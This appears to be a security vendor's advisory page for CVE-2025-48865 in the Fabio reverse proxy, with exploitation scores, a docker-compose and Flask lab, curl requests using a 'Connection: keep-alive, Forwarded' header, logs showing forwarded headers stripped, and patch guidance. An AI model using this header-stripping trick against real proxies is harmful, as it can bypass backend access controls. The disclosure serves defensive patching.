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CVE-2025-48865 fabio

CRITICALFix: fabiolb/fabio@fdaf1e9

CVE-2025-48865 is a critical-severity (CVSS 9.1) CWE-345 vulnerability in github.com/fabiolb/fabio. A fix is available for github.com/fabiolb/fabio — see the affected versions and patch details below.

Fabio allows HTTP clients to manipulate custom headers it adds

Also known asGHSA-q7p4-7xjv-j3wfGO-2025-3722
Published
May 30, 2025
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-48865.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2025-48865 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/fabiolb/fabio

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers.

Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities.

However, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:

Connection: close, X-Forwarded-Host

Similar critical vulnerabilities have been identified in other web servers and proxies, including CVE-2022-31813 in Apache HTTP Server and CVE-2024-45410 in Traefik.

Details

It was found that the following headers can be removed in this way (i.e. by specifying them within a connection header):

  • X-Forwarded-Host
  • X-Forwarded-Port
  • X-Forwarded-Proto
  • X-Real-Ip
  • Forwarded

PoC

The following docker-compose file was used for testing:

version: '3'
services:
  fabio:
    image: fabiolb/fabio
    ports:
      - "3000:9999"
      - "9998:9998"
    volumes:
      - ./fabio.properties:/etc/fabio/fabio.properties

  backend:
    build: .
    ports:
      - "8080:8080"
    environment:
      - PYTHONUNBUFFERED=1

The fabio.properties configuration:

proxy.addr = :9999
ui.addr = :9998
registry.backend = static
registry.static.routes = route add service / http://backend:8080/

A Python container runs a simple HTTP server that logs received headers. The Dockerfile:

FROM python:3.11-slim

WORKDIR /app

COPY app.py .

RUN pip install flask

EXPOSE 8080

CMD ["python", "app.py"]

Python Flask Server

from flask import Flask, request
import sys
import os

sys.stdout.flush()
sys.stderr.flush()
os.environ['PYTHONUNBUFFERED'] = '1'

app = Flask(__name__)

@app.before_request
def log_request_info():
    print("HEADERS:")
    for header_name, header_value in request.headers:
        print(f"   {header_name}: {header_value}")

@app.route("/", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
def hello():
    return f"Hello, World! Method: {request.method}"

@app.route("/<path:path>", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
def catch_all(path):
    return f"Caught path: {path}, Method: {request.method}"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)

A normal HTTP request/response pair looks like this:

Request

GET / HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: curl/8.7.1
Accept: */*
Connection: keep-alive

curl command

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive' \
    $'http://127.0.0.1:3000/'

Response

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.12
Date: Thu, 22 May 2025 23:09:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 25
Connection: close

Hello, World! Method: GET

Server Log

backend-1  | HEADERS:
backend-1  |    Host: 127.0.0.1:3000
backend-1  |    User-Agent: curl/8.7.1
backend-1  |    Accept: */*
backend-1  |    Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1
backend-1  |    X-Forwarded-For: 192.168.65.1
backend-1  |    X-Forwarded-Host: 127.0.0.1:3000
backend-1  |    X-Forwarded-Port: 3000
backend-1  |    X-Forwarded-Proto: http
backend-1  |    X-Real-Ip: 192.168.65.1

Next, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent:

Request

GET / HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: curl/8.7.1
Accept: */*
yeet: 123
Connection: keep-alive, Forwarded

curl command

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive, Forwarded' \
    $'http://127.0.0.1:3000/'

Response

HTTP/1.1 200 OK
Content-Length: 25
Content-Type: text/html; charset=utf-8
Date: Thu, 22 May 2025 23:42:45 GMT
Server: Werkzeug/3.1.3 Python/3.11.12

Hello, World! Method: GET

Server Logs

backend-1  | HEADERS:
backend-1  |    Host: 127.0.0.1:3000
backend-1  |    User-Agent: curl/8.7.1
backend-1  |    Accept: */*
backend-1  |    X-Forwarded-For: 192.168.65.1
backend-1  |    X-Forwarded-Host: 127.0.0.1:3000
backend-1  |    X-Forwarded-Port: 3000
backend-1  |    X-Forwarded-Proto: http
backend-1  |    X-Real-Ip: 192.168.65.1

The response shows that Fabio's Forwarded header was removed from the request

Impact

If the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass.

This vulnerability has a critical severity rating similar to CVE-2022-31813 (Apache HTTP Server, 9.8) and CVE-2024-45410 (Traefik, 9.3)

Stripping headers like X-Real-IP can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: Versa Concerto RCE.

References

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/fabiolb/fabioall versions1.6.6go get github.com/fabiolb/fabio@v1.6.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/fabiolb/fabio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/fabiolb/fabio to 1.6.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-48865 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-48865 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-48865. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. However, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop
O3 Security · Impact-Aware SCA

Is CVE-2025-48865 in your dependencies?

O3 Security finds CVE-2025-48865 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2025-48865: fabio RCE (Critical 9.1) | O3 Security